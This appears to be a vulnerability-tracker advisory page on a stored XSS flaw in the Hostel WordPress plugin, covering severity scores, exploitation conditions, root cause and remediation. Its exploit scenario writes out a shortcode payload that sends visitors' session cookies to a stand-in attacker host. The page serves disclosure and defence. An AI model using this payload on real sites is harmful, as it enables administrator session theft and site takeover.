Skip to main content

Hostel WordPress Plugin CVE-2026-3907

| EUVDEUVD-2026-42842 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-10 Wordfence GHSA-9hmh-43jg-fm2x
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain Contributor-level WordPress account
  2. Delivery
    Craft malicious wphostel-book shortcode with XSS payload as button text attribute
  3. Exploit
    Insert shortcode into post or page
  4. Execution
    Administrator or privileged user visits injected page
  5. Persist
    Stored XSS payload executes in victim browser
  6. Impact
    Session cookie exfiltrated or admin actions performed on victim's behalf

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation strictly requires an authenticated user account with Contributor-level WordPress role or higher - unauthenticated exploitation is not possible, as confirmed by the PR:L CVSS metric. The Hostel plugin must be installed and activated on the target site, and the wphostel-book shortcode must be usable by the attacker's account (Contributors can use shortcodes in posts by default in WordPress). The attacker must be able to publish or submit a post or page containing the malicious shortcode (WordPress's standard Contributor capability). Exploitation is further constrained by the requirement that a victim user - typically an Administrator or Editor - must visit the page containing the injected shortcode for the payload to execute; the attacker cannot force this visit. Non-default configurations that disable Contributor post creation, restrict shortcode usage, or use a Web Application Firewall with XSS filtering would limit exploitation.

Impact

The CVSS 3.1 score of 6.4 (Medium) reflects the real-world nuance well: the network vector (AV:N) and low complexity (AC:L) confirm the exploit requires no unusual conditions once the attacker has access, but the Low Privilege requirement (PR:L) is the critical limiting factor - the attacker must hold at minimum a Contributor-level WordPress account. The Scope Change (S:C) is accurate and important: the stored payload executes in the browsers of other users, including administrators, which is the primary escalation path. No EPSS data was provided, and there is no CISA KEV listing, so there is no confirmed evidence of active exploitation. No POC code has been identified. The realistic priority depends heavily on the site's user model: installations that allow self-registration at Contributor level or rely on freelance contributors represent genuine risk of admin account takeover; sites with only trusted contributors face minimal residual risk. This should not be treated as a high-urgency emergency patching item absent evidence of targeted exploitation.

Exploit ScenarioDerived

An attacker who has registered or compromised a Contributor-level account on the target WordPress site creates a new post and inserts [wphostel-book "" "<script>document.location='https://attacker.tld/?c='+document.cookie</script>"] as the shortcode, publishing it or saving it as a draft. When a site administrator reviews or approves the post, their browser executes the injected script, delivering their session cookie to the attacker and enabling full administrative account takeover. No public exploit code has been identified at time of analysis.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 10, 2026

Stored Cross-Site Scripting in the Hostel WordPress plugin (all versions through 1.1.7) permits authenticated Contributor-level users to permanently inject arbitrary JavaScript into WordPress pages via the second attribute of the wphostel-book shortcode, which is passed unsanitized to the $text variable and rendered raw into an HTML value attribute without esc_attr() escaping. Any user who subsequently views an injected page will execute the attacker's payload in their browser, enabling session hijacking or privilege escalation against higher-privileged site users. No public exploit has been identified at time of analysis and this vulnerability is not listed in CISA KEV; the primary risk is to WordPress sites that grant Contributor access to untrusted or semi-trusted users.

RemediationAI

A fix commit has been pushed to the Hostel plugin trunk in the WordPress plugin repository, as indicated by the changeset reference at https://plugins.trac.wordpress.org/changeset?reponame=&old=3480942%40hostel&new=3480942%40hostel; however, no specific patched release version number (e.g., 1.1.8 or later) is independently confirmed from the available data - site administrators should update to the latest available version via the WordPress admin dashboard and verify the installed version exceeds 1.1.7. As an immediate workaround, administrators should audit and restrict Contributor role assignments to only fully trusted users, since the attack requires that level of access; removing Contributor access from untrusted or inactive accounts eliminates exploitation risk entirely without disabling the plugin. If the plugin cannot be updated promptly and Contributor access cannot be restricted, deactivating the Hostel plugin removes the attack surface until a confirmed patched release can be applied. The Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/30339c0d-6632-4073-b4d5-3bb4a5b8a58d provides additional remediation context.

Affected VersionsENISA

Hostel 0 ≤1.1.7

Affected Packages

euvd hostel no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the wphostel-book shortcode handler within controllers/shortcodes.php of the Hostel plugin (CPE: cpe:2.3:a:prasunsen:hostel:*:*:*:*:*:*:*:*), a WordPress accommodation/hostel booking plugin by developer prasunsen. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: at line 79 of shortcodes.php, the second positional shortcode attribute intended as button label text is assigned to $text without any sanitization call such as sanitize_text_field(); at line 91, this unsanitized value is embedded directly into an HTML value attribute without the mandatory WordPress escaping function esc_attr(). WordPress shortcode attributes are user-controllable input and must be treated as untrusted; the absence of both server-side sanitization and context-aware output escaping creates a classic dual-failure stored XSS pathway. The companion file models/hostel.php at line 195 may also be involved in the data flow per the trac references.

Know when Hostel gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

PR:L confirmed by required Contributor account; UI:R applied because a victim must visit the injected page to trigger payload execution; S:C reflects cross-browser scope change inherent to stored XSS.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Hostel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wphostel-book' shortcode in all versions up to and including 1.1.7. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, the second shortcode attribute (used as button text) is passed to the $text variable without sanitization at line 79 and then output directly into an HTML value attribute at line 91 without esc_attr() or any other escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.2%
Top 89% exploitable
Prevalence
Low
niche WordPress accommodation plugin with limited global install base
Social Media
2
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy